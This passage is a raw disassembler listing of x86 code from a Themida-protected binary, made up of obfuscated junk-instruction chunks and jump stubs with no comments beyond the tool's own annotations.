endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_565BC3: ; CODE XREF: Themida_:0056CB12j xor ebx, 57290402h dec ebx neg ebx xor ebx, 658D349Eh sub ebx, 0B2F9DEC5h add edx, ebx jmp loc_5674F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567866 loc_565BDF: ; CODE XREF: sub_567866-3E0Bj pop eax sub eax, edi pop edi push dword ptr [esp+0] pop edi jmp loc_56DED5 ; END OF FUNCTION CHUNK FOR sub_567866 ; --------------------------------------------------------------------------- loc_565BEC: ; CODE XREF: Themida_:00569792j pop eax add dword ptr [esp], 97E26D0h push edx jmp loc_568036 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_565BFA: ; CODE XREF: sub_56CC46+46D7j mov esp, [esp+0Ch+var_C] push edx jmp loc_5602AF ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BC97 loc_565C03: ; CODE XREF: sub_56BC97-544j push eax mov eax, 4 add ecx, eax mov eax, [esp+8+var_8] add esp, 4 add ecx, 4 xor ecx, [esp+4+var_4] xor [esp+4+var_4], ecx jmp loc_573013 ; END OF FUNCTION CHUNK FOR sub_56BC97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5684A6 loc_565C22: ; CODE XREF: sub_5684A6+50A9j xor [esp+4+var_4], esi jmp loc_571541 ; END OF FUNCTION CHUNK FOR sub_5684A6 ; --------------------------------------------------------------------------- loc_565C2A: ; CODE XREF: Themida_:00563A4Fj mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] and [esp], ax pushf jmp loc_56F1A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572D45 loc_565C59: ; CODE XREF: sub_572D45+10j add esp, 4 push esi push eax mov eax, 4911407h jmp loc_562474 ; END OF FUNCTION CHUNK FOR sub_572D45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_565C6B: ; CODE XREF: sub_569193+B870j xor [esp+0Ch+var_C], edx xor edx, [esp+0Ch+var_C] jmp loc_570352 ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_565C76: ; CODE XREF: sub_56E126-95D1j mov esi, 0C564E19h jmp loc_5624F5 ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_565C80: ; CODE XREF: sub_56B06D+99F2j mov eax, 6D010B9h shl eax, 5 xchg eax, ecx not ecx xchg eax, ecx or eax, 45AA4E86h inc eax add eax, 21A0346Eh add eax, 0A88EF359h add ecx, eax push [esp+18h+var_18] pop eax add esp, 4 sub ecx, 59BE033Ch jmp loc_56D61F ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_565CB0: ; CODE XREF: sub_571C93+1732j add ebx, esi jmp loc_575229 ; END OF FUNCTION CHUNK FOR sub_571C93 ; =============== S U B R O U T I N E ======================================= sub_565CB7 proc near ; DATA XREF: Themida_:0055FE94o var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], edi jmp sub_568D9E sub_565CB7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560C12 loc_565CC2: ; CODE XREF: sub_560C12+B353j pop edi push edx push esp jmp loc_567FB6 ; END OF FUNCTION CHUNK FOR sub_560C12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D3B7 loc_565CCA: ; CODE XREF: sub_56D3B7-38DFj mov esp, [esp+14h+var_14] shl ebx, 2 add ebx, 3B4FE5ECh jmp sub_566DC7 ; END OF FUNCTION CHUNK FOR sub_56D3B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569CBC loc_565CDB: ; CODE XREF: sub_569CBC+9C5Dj mov [esp+0], ecx mov ecx, 1D33481Bh xor ecx, 36885797h add esi, 3C714A4h jmp loc_565B9C ; END OF FUNCTION CHUNK FOR sub_569CBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_565CF4: ; CODE XREF: sub_564D26+4C20j push 6C73088Bh jmp loc_5670CD ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_565CFE: ; CODE XREF: sub_56241E+7DBj push edx mov dx, 6F43h push ebx mov bx, dx mov cx, bx pop ebx pop edx push ebp mov bp, 6D2Ch sub bp, 67B6h sub cx, bp pop ebp sub cx, 1F9Ch push edi mov di, 6FACh shl di, 3 sub di, 7AF2h sub cx, di pop edi jmp loc_560760 ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_565D36: ; CODE XREF: sub_574304-6DAEj sub ebx, 3AD63844h push [esp+4+var_4] pop ebp add esp, 4 sub ebx, 4 xchg ebx, [esp+0] jmp loc_56661F ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_565D4E: ; CODE XREF: sub_568E5C+6B48j pop ebp inc ecx xor ecx, 284068E3h add eax, 40DC6BB8h jmp loc_5679F8 ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565A8D loc_565D60: ; CODE XREF: sub_565A8D+3F4Fj add ecx, 4 sub ecx, 4 xchg ecx, [esp+8+var_8] pop esp mov [esp+4+var_4], eax sub esp, 4 mov [esp+8+var_8], edx mov edx, 593A7F7Ch sub edx, 593A7F78h mov eax, edx jmp loc_56CF72 ; END OF FUNCTION CHUNK FOR sub_565A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_565D8B: ; CODE XREF: sub_561418+13E8Ej push 79397B88h mov ebx, [esp+1Ch+var_1C] add esp, 4 push 643Ch jmp loc_56BBAB ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573167 loc_565DA0: ; CODE XREF: sub_573167-A148j mov [esp+8+var_8], edx push ecx push 63997B84h jmp loc_5735F9 ; END OF FUNCTION CHUNK FOR sub_573167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_565DAE: ; CODE XREF: sub_574949-120FAj xor eax, esi xor esi, eax jmp loc_56DD5F ; END OF FUNCTION CHUNK FOR sub_574949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567F6F loc_565DB7: ; CODE XREF: sub_567F6F+4j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_567F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CF1 loc_565DBC: ; CODE XREF: sub_560CF1+F654j xor eax, ecx push eax sub esp, 4 mov [esp+8+var_8], edi push [esp+8+var_8] pop eax add esp, 4 jmp loc_56619E ; END OF FUNCTION CHUNK FOR sub_560CF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574896 loc_565DD1: ; CODE XREF: sub_574896-2489j mov [esp-4+arg_0], eax mov eax, esp jmp loc_567258 ; END OF FUNCTION CHUNK FOR sub_574896 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_565DDB: ; CODE XREF: sub_5620B7+F0Aj add bh, cl mov ecx, [esp+4+var_6+2] add esp, 4 neg bh push ecx push edx push 2597h mov [esp+0], eax mov al, 67h and al, 6Bh jmp loc_5710FC ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_565DF8: ; CODE XREF: sub_5678CB+71D5j mov esp, [esp+8+var_A+2] mov [esp+8+var_A+2], eax jmp loc_5685EC ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD97 loc_565E03: ; CODE XREF: sub_56FD97-20A9j or ebp, 42363D24h sub esp, 4 jmp loc_56089C ; --------------------------------------------------------------------------- loc_565E14: ; CODE XREF: sub_56FD97-D368j push [esp+8+var_8] pop esi add esp, 4 sub eax, 6A83100Fh jmp loc_56DCDA ; END OF FUNCTION CHUNK FOR sub_56FD97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_565E25: ; CODE XREF: sub_569FB8+21D7j push ecx mov ecx, esp jmp loc_575160 ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_565E2D: ; CODE XREF: sub_563A7F+1104j push edx mov dh, 0D8h mov bh, dh pop edx jmp loc_573CA3 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_565E38: ; CODE XREF: sub_56FB8A+6j add eax, ebp pop ebp add eax, 292A3717h sub eax, 2F911C0Dh pop ebp sub esp, 4 mov [esp+0], ebx push esi mov esi, 4DB5145Dh push edx mov edx, 76A4B0Ah and edx, 5121395Ah inc edx jmp loc_56899F ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_565E64: ; CODE XREF: sub_563A7F+11224j mov ebx, esp push ebp mov ebp, 0B070C6Dh jmp loc_56DFD3 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56306E loc_565E71: ; CODE XREF: sub_56306E+59A9j add ecx, 1025252h pop eax jmp sub_56959A ; END OF FUNCTION CHUNK FOR sub_56306E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_565E7D: ; CODE XREF: sub_5690E8+A25Cj inc ebx jmp loc_5664ED ; END OF FUNCTION CHUNK FOR sub_5690E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5606E3 loc_565E83: ; CODE XREF: sub_5606E3+8D7Fj add esi, eax sub esi, 1FAF11D8h pop eax xor esi, [esp+0] xor [esp+0], esi xor esi, [esp+0] mov esp, [esp+0] push 28DCh mov [esp+0], esi jmp loc_5642D5 ; END OF FUNCTION CHUNK FOR sub_5606E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_565EA5: ; CODE XREF: sub_571088+13D5j add esp, 4 not bl inc bl inc bl sub bl, 0AAh jmp loc_56423D ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5638E4 loc_565EB9: ; CODE XREF: sub_5638E4+106Aj sub edi, 34463780h shl edi, 6 neg edi xor edi, 0E74DD656h jmp loc_575404 ; END OF FUNCTION CHUNK FOR sub_5638E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_565ECF: ; CODE XREF: sub_571088+3BDAj mov bl, 8Ah sub bl, 1 sub bl, 0F7h push ecx push eax mov al, 55h mov cl, al pop eax dec cl jmp loc_560446 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_565EE5: ; CODE XREF: sub_56E126+292Aj pop edi jmp loc_56F761 ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- loc_565EEB: ; CODE XREF: Themida_:00569C2Aj add dword ptr [esp+4], 3BF8619Dh sub [esp+4], ecx sub dword ptr [esp+4], 3BF8619Dh pop ecx sub dword ptr [esp], 606B569Eh jmp loc_56BA1D ; --------------------------------------------------------------------------- loc_565F0C: ; CODE XREF: Themida_:00561699j push 650Bh jmp loc_5666BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A3 loc_565F16: ; CODE XREF: sub_5687A3+7503j mov ecx, 3962AD3h push eax mov eax, 46F505A5h dec eax xor eax, 696B051Bh jmp loc_566F96 ; END OF FUNCTION CHUNK FOR sub_5687A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570FB7 loc_565F2C: ; CODE XREF: sub_570FB7+15j and eax, ebx mov ebx, [esp+8+var_8] push edi jmp loc_57369F ; END OF FUNCTION CHUNK FOR sub_570FB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C7AA loc_565F37: ; CODE XREF: sub_56C7AA+6A33j mov ebx, 39E64095h add esi, 462F25BEh sub esi, ebx sub esi, 462F25BEh jmp loc_56ACFD ; END OF FUNCTION CHUNK FOR sub_56C7AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5692D3 loc_565F4F: ; CODE XREF: sub_5692D3+907Aj mov esi, [esp+0Ch+var_C] add esp, 4 jmp loc_572552 ; END OF FUNCTION CHUNK FOR sub_5692D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CF5 loc_565F5A: ; CODE XREF: sub_567CF5+2771j pop ecx push eax mov eax, 7C33CBFh jmp loc_56E6B3 ; END OF FUNCTION CHUNK FOR sub_567CF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5750DE loc_565F66: ; CODE XREF: sub_5750DE-D10j mov eax, esp push ecx push edx jmp loc_56DCA2 ; END OF FUNCTION CHUNK FOR sub_5750DE ; --------------------------------------------------------------------------- loc_565F6F: ; CODE XREF: Themida_:0056C107j pop ebx push ebp push edx mov edx, 4 mov ebp, edx mov edx, [esp] push ebx jmp loc_56CDCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569E1B loc_565F82: ; CODE XREF: sub_569E1B-969Ej mov [esp+0], cx sub esp, 4 mov [esp+2+var_4+2], edx mov dl, 0C8h mov cl, dl mov edx, [esp+2+var_4+2] jmp loc_56BD1A ; END OF FUNCTION CHUNK FOR sub_569E1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_565F98: ; CODE XREF: sub_572DD7-6DCEj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+8+var_8] pop esp push 78F2h mov [esp+8+var_8], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+8+var_8] pop esp mov [esp+4+var_4], edx mov edx, 18725E8Bh jmp loc_571FD7 ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E1B8 loc_565FCB: ; CODE XREF: sub_56E1B8+1503j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56E1B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574287 loc_565FD0: ; CODE XREF: sub_574287-20D1j xor edi, 30B4489Bh push eax mov eax, edi mov esi, eax pop eax push [esp+8+var_8] pop edi add esp, 4 add ebp, 209F124Eh add ebp, esi push 24FCh mov [esp+8+var_8], edx mov edx, 209F124Eh sub ebp, edx jmp loc_569AFE ; END OF FUNCTION CHUNK FOR sub_574287 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_566002: ; CODE XREF: sub_56B06D-48B6j add ecx, ebx pop ebx push eax push esi mov esi, 16D738E1h xor esi, 16D738E5h mov eax, esi jmp loc_56B006 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567C58 loc_566019: ; CODE XREF: sub_567C58+4012j xor eax, [esp+8+var_8] mov esp, [esp+8+var_8] shr byte ptr [esp-4+arg_0], cl pushf jmp loc_56AC89 ; END OF FUNCTION CHUNK FOR sub_567C58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CF5 loc_566028: ; CODE XREF: sub_567CF5+317j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+4+var_4] jmp loc_56CD22 ; END OF FUNCTION CHUNK FOR sub_567CF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5606E3 loc_56603F: ; CODE XREF: sub_5606E3-1B2j mov eax, ebp jmp loc_56945B ; END OF FUNCTION CHUNK FOR sub_5606E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_566046: ; CODE XREF: sub_574656-76B4j mov ebp, esi pop esi push edi mov edi, 4C0C7128h xor ebp, edi pop edi sub ebx, ebp jmp loc_569731 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_566059: ; CODE XREF: sub_56AB5E+7663j pop [esp+10h+var_10] mov esp, [esp+0Ch+var_C] jmp loc_5618C2 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5683C0 loc_566064: ; CODE XREF: sub_5683C0-57D5j pop esi sub edx, 66C66354h sub edx, 12302F5Ah sub edx, ebx jmp loc_566451 ; END OF FUNCTION CHUNK FOR sub_5683C0 ; =============== S U B R O U T I N E ======================================= sub_566078 proc near ; CODE XREF: sub_572669-10B19j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005653F6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005655F1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005662E9 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00566E65 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00567310 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056880E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00568AF0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00568F21 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00573801 SIZE 0000000C BYTES push ebp mov ebp, 5F4A4615h sub edx, ebp pop ebp sub edx, edi add edx, 5F4A4615h pop edi add edx, ecx add edx, 58D47706h pop ecx sub esp, 4 mov [esp-4+arg_0], edi mov edi, 1 add edx, edi mov edi, [esp-4+arg_0] sub esp, 4 mov [esp+0], eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp+0] jmp loc_566E65 sub_566078 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_5660C1: ; CODE XREF: sub_566117+3009j xor ecx, 24615900h not ecx push ecx not [esp+14h+var_14] pop ecx add ecx, 94B5EA37h jmp loc_566D6C ; END OF FUNCTION CHUNK FOR sub_566117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_5660D9: ; CODE XREF: sub_56AB5E-72EEj add bh, 54h jmp loc_56AB85 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573B49 loc_5660E1: ; CODE XREF: sub_573B49+6j shl ebx, 1 xor ebx, 0B956862h add ebx, 238F4CDCh inc ebx push edi mov edi, 9C6D6481h xor ebx, edi mov edi, [esp+8+var_8] add esp, 4 sub eax, 7A4F3D81h add eax, ebx add eax, 7A4F3D81h pop ebx add eax, ebx sub eax, 291255EEh jmp loc_56B984 ; END OF FUNCTION CHUNK FOR sub_573B49 ; =============== S U B R O U T I N E ======================================= sub_566117 proc near ; DATA XREF: Themida_:0055FD20o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005613B0 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005614B6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00563667 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005660C1 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00566A74 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00566D6C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056745A SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00568146 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00569112 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00569BC4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056CD05 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056D9C3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056DD34 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056DD94 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056EE8F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00572650 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005729A1 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00572E55 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00573EAD SIZE 00000009 BYTES push dword ptr [esp+0] push [esp+4+var_4] push [esp+8+var_8] jmp loc_56DD94 sub_566117 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_566125: ; CODE XREF: sub_5673C3+9F32j push ecx mov ecx, 0 add ecx, 0D6724F1h sub ecx, ebx push ebx mov ebx, 0D6724F1h jmp loc_5724C3 ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0B0 loc_56613E: ; CODE XREF: sub_56E0B0+16j mov eax, esp push esi mov esi, 788D7C22h sub esi, 788D7C1Eh jmp loc_5605B4 ; END OF FUNCTION CHUNK FOR sub_56E0B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_566151: ; CODE XREF: sub_5620B7+9CC4j inc dh shr dh, 4 shr dh, 4 xor dh, 0F2h or ah, dh pop edx add ah, 0B5h add ah, 55h mov dl, ah pop eax jmp loc_570955 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; =============== S U B R O U T I N E ======================================= sub_56616D proc near ; CODE XREF: sub_565A8D+7024j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 00561298 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00561E3D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00562212 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005627B8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00562B49 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00563030 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056361A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056394B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00564C1F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00565787 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005659B8 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00566627 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00567A8B SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056906B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005693C4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00569587 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00569BCA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00569D82 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056A0D6 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056A223 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056AA15 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056AC4B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056ADA2 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056AEFF SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056AF32 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056B048 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0056B7BA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056BB98 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056C5F8 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056D202 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056D2BF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056E2A6 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 0056E30A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056E7AA SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056E87B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056EADA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056F823 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056F9B5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00570135 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00570869 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00570B9F SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00571003 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005712C3 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00572044 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00572152 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 00572426 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0057347C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00573607 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00573B2F SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00573CAF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00573D0E SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00574315 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0057455E SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0057474B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0057485E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005748A1 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00574AFF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0057504A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0057524C SIZE 00000015 BYTES push ebx mov ebx, offset loc_426680 neg ebx xor ebx, 48693036h jmp loc_56AF32 sub_56616D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA43 loc_566180: ; CODE XREF: sub_56DA43-89E5j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+4+var_4] jmp loc_5688E7 ; END OF FUNCTION CHUNK FOR sub_56DA43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_566196: ; CODE XREF: sub_56FA15-F69Bj sub cl, dh pop edx jmp loc_5725E9 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CF1 loc_56619E: ; CODE XREF: sub_560CF1+50DBj mov edi, [esp+4+var_4] add esp, 4 push edi push ecx jmp loc_57478C ; END OF FUNCTION CHUNK FOR sub_560CF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568764 loc_5661AE: ; CODE XREF: sub_568764-5j mov esp, [esp+0Ch+var_C] push esi push edx push 78280F07h pop edx shr edx, 7 add edx, 13A64CF8h add edx, 0EB6962EEh mov esi, edx pop edx sub ecx, 1D8606A8h add ecx, esi push 3A08h mov [esp+8+var_8], edx mov edx, 6A6A0475h dec edx jmp loc_5739F1 ; END OF FUNCTION CHUNK FOR sub_568764 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_5661E6: ; CODE XREF: sub_56B06D+A12Bj add ecx, 4 add ecx, 4 xchg ecx, [esp+18h+var_18] pop esp push ecx mov ecx, esp push ebx push ebp mov ebp, 486432AAh jmp loc_56F39E ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_566202: ; CODE XREF: sub_56241E+11848j add ax, 1 dec ax push 1464h mov [esp+0Ch+var_C], esi mov si, 60E3h not si neg si xor si, 731Ch or ax, si pop esi add ax, 1 jmp loc_573A41 ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56622C: ; CODE XREF: sub_561418+422Ej push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+1Ch+var_1C] pop esp jmp loc_561E6C ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566400 loc_566244: ; CODE XREF: sub_566400+378Ej mov ebp, [esp+4+var_4] jmp loc_566A65 ; END OF FUNCTION CHUNK FOR sub_566400 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747AF loc_56624C: ; CODE XREF: sub_5747AF-3DA7j push edx mov edx, 4 add esi, edx pop edx push eax jmp sub_5606E3 ; END OF FUNCTION CHUNK FOR sub_5747AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_56625B: ; CODE XREF: sub_571F6F-10C6j xor ch, 77h or dh, ch mov ecx, [esp] push esi mov esi, esp jmp loc_56DC53 ; END OF FUNCTION CHUNK FOR sub_571F6F ; =============== S U B R O U T I N E ======================================= sub_56626B proc near ; CODE XREF: sub_564746+B363j ; FUNCTION 